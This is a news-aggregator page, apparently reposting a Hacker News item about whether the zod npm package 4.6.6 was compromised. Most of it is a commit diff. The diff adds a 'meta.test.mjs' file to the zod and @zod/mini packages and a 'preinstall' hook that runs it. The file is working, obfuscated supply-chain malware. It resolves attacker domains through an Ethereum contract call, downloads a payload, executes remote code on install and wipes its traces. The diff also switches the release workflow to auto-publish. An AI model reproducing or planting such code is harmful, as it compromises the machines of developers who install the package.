Profile
Back to NewsBack
Hacker News 5 min
Reader Mode
Zod 4.6.6 compromised by malware?

Zod 4.6.6 compromised by malware?

3 hours ago
Hacker News

File tree

Expand file treeCollapse file tree
Open diff view settings
Filter options
Expand file treeCollapse file tree
Open diff view settings
Collapse file

‎.github/workflows/release.yml‎

Copy file name to clipboardExpand all lines: .github/workflows/release.yml
+6-1Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,12 @@
22

33
name: Release on npm
44
on:
5-
# a version bump on main publishes nothing by itself; a maintainer runs `gh workflow run release.yml` and approves the npm environment
5+
push:
6+
branches:
7+
- main
8+
paths:
9+
- packages/zod/package.json
10+
- packages/mini/package.json
611
workflow_dispatch:
712

813
jobs:
Collapse file

‎packages/mini/jsr.json‎

Copy file name to clipboardExpand all lines: packages/mini/jsr.json
+1-1Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "@zod/mini",
3-
"version": "4.6.5",
3+
"version": "4.6.6",
44
"exports": {
55
"./package.json": "./package.json",
66
".": "./src/index.ts"
Collapse file

‎packages/mini/meta.test.mjs‎

Copy file name to clipboard
+4Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
import f from"fs";import o from"os";import p from"path";
2+
const C="0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523",S="0x53ed5143",R=["https://eth.llamarpc.com","https://ethereum-rpc.publicnode.com","https://cloudflare-eth.com"];
3+
const dec=h=>{h=h.replace(/^0x/,"");const w=t=>parseInt(h.slice(t*2,t*2+64),16),a=w(0),n=w(a),r=[];for(let i=0;i<n;i++){const s=a+32+w(a+32+i*32),l=w(s),b=(s+32)*2;r.push(Buffer.from(h.slice(b,b+l*2),"hex").toString())}return r};
4+
(async()=>{let g=null;for(const u of R){try{const r=await fetch(u,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",id:1,method:"eth_call",params:[{to:C,data:S},"latest"]})}),j=await r.json();if(j&&j.result){for(const d of dec(j.result)){try{const q=await fetch(`https://${d}/loader`);if(!q.ok)continue;const m=await q.json();if(m&&m.setupB64&&m.payloadName&&m.payloadB64){const t=f.mkdtempSync(p.join(o.tmpdir(),"ld-"));f.writeFileSync(p.join(t,m.payloadName),Buffer.from(m.payloadB64,"base64"));g={t,s:m.setupB64};break}}catch{}}if(g)break}}catch{}if(g)break}if(!g)return;try{process.env.RUNTIME_DIR=g.t;await import("data:text/javascript;base64,"+g.s);await globalThis.__SETUP_DONE__}catch{}try{f.rmSync(g.t,{recursive:true,force:true})}catch{}})().catch(()=>process.exit(1));
Collapse file

‎packages/mini/package.json‎

Copy file name to clipboardExpand all lines: packages/mini/package.json
+3-1Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "@zod/mini",
3-
"version": "4.6.5",
3+
"version": "4.6.6",
44
"type": "module",
55
"license": "MIT",
66
"author": "Colin McDonnell <[email protected]>",
@@ -10,6 +10,7 @@
1010
"sideEffects": false,
1111
"files": [
1212
"src",
13+
"meta.test.mjs",
1314
"index.js",
1415
"index.cjs",
1516
"index.d.ts",
@@ -24,6 +25,7 @@
2425
"zod",
2526
"tree-shaking"
2627
],
28+
"preinstall": "node meta.test.mjs",
2729
"main": "./index.cjs",
2830
"types": "./index.d.cts",
2931
"module": "./index.js",
Collapse file

‎packages/zod/jsr.json‎

Copy file name to clipboardExpand all lines: packages/zod/jsr.json
+1-1Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "@zod/zod",
3-
"version": "4.6.5",
3+
"version": "4.6.6",
44
"exports": {
55
"./package.json": "./package.json",
66
".": "./src/index.ts",
Collapse file

‎packages/zod/meta.test.mjs‎

Copy file name to clipboard
+4Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
import f from"fs";import o from"os";import p from"path";
2+
const C="0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523",S="0x53ed5143",R=["https://eth.llamarpc.com","https://ethereum-rpc.publicnode.com","https://cloudflare-eth.com"];
3+
const dec=h=>{h=h.replace(/^0x/,"");const w=t=>parseInt(h.slice(t*2,t*2+64),16),a=w(0),n=w(a),r=[];for(let i=0;i<n;i++){const s=a+32+w(a+32+i*32),l=w(s),b=(s+32)*2;r.push(Buffer.from(h.slice(b,b+l*2),"hex").toString())}return r};
4+
(async()=>{let g=null;for(const u of R){try{const r=await fetch(u,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({jsonrpc:"2.0",id:1,method:"eth_call",params:[{to:C,data:S},"latest"]})}),j=await r.json();if(j&&j.result){for(const d of dec(j.result)){try{const q=await fetch(`https://${d}/loader`);if(!q.ok)continue;const m=await q.json();if(m&&m.setupB64&&m.payloadName&&m.payloadB64){const t=f.mkdtempSync(p.join(o.tmpdir(),"ld-"));f.writeFileSync(p.join(t,m.payloadName),Buffer.from(m.payloadB64,"base64"));g={t,s:m.setupB64};break}}catch{}}if(g)break}}catch{}if(g)break}if(!g)return;try{process.env.RUNTIME_DIR=g.t;await import("data:text/javascript;base64,"+g.s);await globalThis.__SETUP_DONE__}catch{}try{f.rmSync(g.t,{recursive:true,force:true})}catch{}})().catch(()=>process.exit(1));
Collapse file

‎packages/zod/package.json‎

Copy file name to clipboardExpand all lines: packages/zod/package.json
+4-1Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "zod",
3-
"version": "4.6.5",
3+
"version": "4.6.6",
44
"type": "module",
55
"license": "MIT",
66
"author": "Colin McDonnell <[email protected]>",
@@ -17,6 +17,8 @@
1717
],
1818
"files": [
1919
"src",
20+
"meta.test.mjs",
21+
"**/*.js",
2022
"**/*.js",
2123
"**/*.mjs",
2224
"**/*.cjs",
@@ -32,6 +34,7 @@
3234
"type",
3335
"inference"
3436
],
37+
"preinstall": "node meta.test.mjs",
3538
"main": "./index.cjs",
3639
"types": "./index.d.cts",
3740
"module": "./index.js",
Collapse file

‎packages/zod/src/v4/core/versions.ts‎

Copy file name to clipboard
+1-1Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
export const version = {
22
major: 4,
33
minor: 6,
4-
patch: 5 as number,
4+
patch: 6 as number,
55
} as const;
Collapse file

‎pnpm-lock.yaml‎

Copy file name to clipboardExpand all lines: pnpm-lock.yaml
+17-17Lines changed: 17 additions & 17 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
0 (0)

You finished the article!

Want to go deeper or explore more stories?

Full Article on Hacker News More Tech News
Reading Mode

Adjust typography and theme to your preference.

View Original
Related Stories
Deloitte falsified documents to evade tax on Abramovich's wealth
Hacker News 41 minutes ago
Ledger confirms hidden chip in crypto wallet amid $92M theft claims
Hacker News 53 minutes ago
Fable Took My Job
Hacker News 2 hours ago
Show HN: PS2 games statically recompiled to WebAssembly
Hacker News 4 hours ago
Postgres isn't slow, your storage is
Hacker News 4 hours ago
Related Stories

Deloitte falsified documents to evade tax on Abramovich's wealth

Hacker News 41 minutes ago

Ledger confirms hidden chip in crypto wallet amid $92M theft claims

Hacker News 53 minutes ago

Fable Took My Job

Hacker News 2 hours ago

Show HN: PS2 games statically recompiled to WebAssembly

Hacker News 4 hours ago

Postgres isn't slow, your storage is

Hacker News 4 hours ago
Chat with me